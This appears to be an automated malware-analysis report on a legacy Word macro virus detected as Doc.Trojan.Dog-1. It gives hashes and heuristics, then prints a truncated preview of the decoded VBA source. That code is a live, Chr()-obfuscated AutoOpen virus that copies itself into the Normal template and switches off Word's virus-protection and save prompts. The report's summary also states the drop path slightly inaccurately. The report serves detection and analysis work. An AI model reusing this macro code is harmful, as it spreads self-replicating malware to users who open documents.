Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c073511fac96c2e…

MALICIOUS

Office (OLE)

115.0 KB Created: 2000-01-31 00:15:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 71c98bf7bbcb939a9da0af033ffa671a SHA-1: 3a3273d69b43b6b21686ea0190b53c872429231a SHA-256: 6c073511fac96c2e9ba02c27d0e3c0770376557c9d0b8d98a94b0d789bafe92b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro that executes upon opening (AutoOpen). The macro attempts to export a module named 'God' to 'C:\ProgramData\God32.sys' and then import it into either the Normal template or the active document, indicating a persistence or execution mechanism. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Dog-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dog-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21918 bytes
SHA-256: 43573821d9e54e9bc6ed3b21127585d40b65d7e411b8def41a19b757f07182c1
Detection
ClamAV: Doc.Trojan.Dog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()


On Error Resume Next
Set NT = NormalTemplate.VBProject.VBComponents
Set AD = ActiveDocument.VBProject.VBComponents
Path_ = Chr(67) + Chr(58) + Chr(92) + Chr(80) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(126) + Chr(49) + Chr(92) + Chr(71) + Chr(111) + Chr(100) + Chr(51) + Chr(50) + Chr(46) + Chr(115) + Chr(121) + Chr(115)
For i = 1 To NT.Count
If NT(i).Name = Chr(71) + Chr(111) + Chr(100) Then
    NT(i).export Path_
    NorInst = True
    End If
    Next i
    For i = 1 To AD.Count
    If AD(i).Name = Chr(71) + Chr(111) + Chr(100) Then AD(i).export Path_
    
    DokInst = True
    
    Next i
    If NorInst = False And DokInst = True Then
    NT.Import Path_
    End If
    If NorInst = True And DokInst = False Then
    AD.Import Path_
    End If
If NT(Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116)).CodeModule.Find(Chr(39) + Chr(71) + Chr(111) + Chr(100), 1, 1, 999, 999) = False Then
Dim God(77) As String
God(1) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110)
God(2) = Chr(79) + Chr(110) + Chr(32) + Chr(101) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(114) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(110) + Chr(101) + Chr(120) + Chr(116)
God(3) = Chr(87) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(79) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115)
God(4) = Chr(46) + Chr(65) + Chr(108) + Chr(108) + Chr(111) + Chr(119) + Chr(70) + Chr(97) + Chr(115) + Chr(116) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(5) = Chr(46) + Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(80) + Chr(114) + Chr(111) + Chr(116) + Chr(101) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(6) = Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(80) + Chr(114) + Chr(111) + Chr(109) + Chr(112) + Chr(116) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(7) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(87) + Chr(105) + Chr(116) + Chr(104)
God(8) = Chr(87) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)
God(9) = Chr(46) + Chr(67) + Chr(97) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(87) + Chr(246) + Chr(114) + Chr(100) + Chr(32) + Chr(45) + Chr(71) + Chr(111) + Chr(100) + Chr(34)
God(10) = Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101)
God(11) = Chr(46) + Chr(65) + Chr(115) + Chr(115) + Chr(105) + Chr(115) + Chr(116) + Chr(97) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(105) + Chr(115) + Chr(105) + Chr(98) + Chr(108) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101)
God(12) = Chr(46) + Chr(65) + Chr(115) + Chr(115) + Chr(105) + Chr(115) + Chr(116) + Chr(97) + Chr(110) + Chr(116) + Chr(46) + Chr(65) + Chr(110) + Chr(105) + Chr(109) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(109) + Chr(11
... (truncated)

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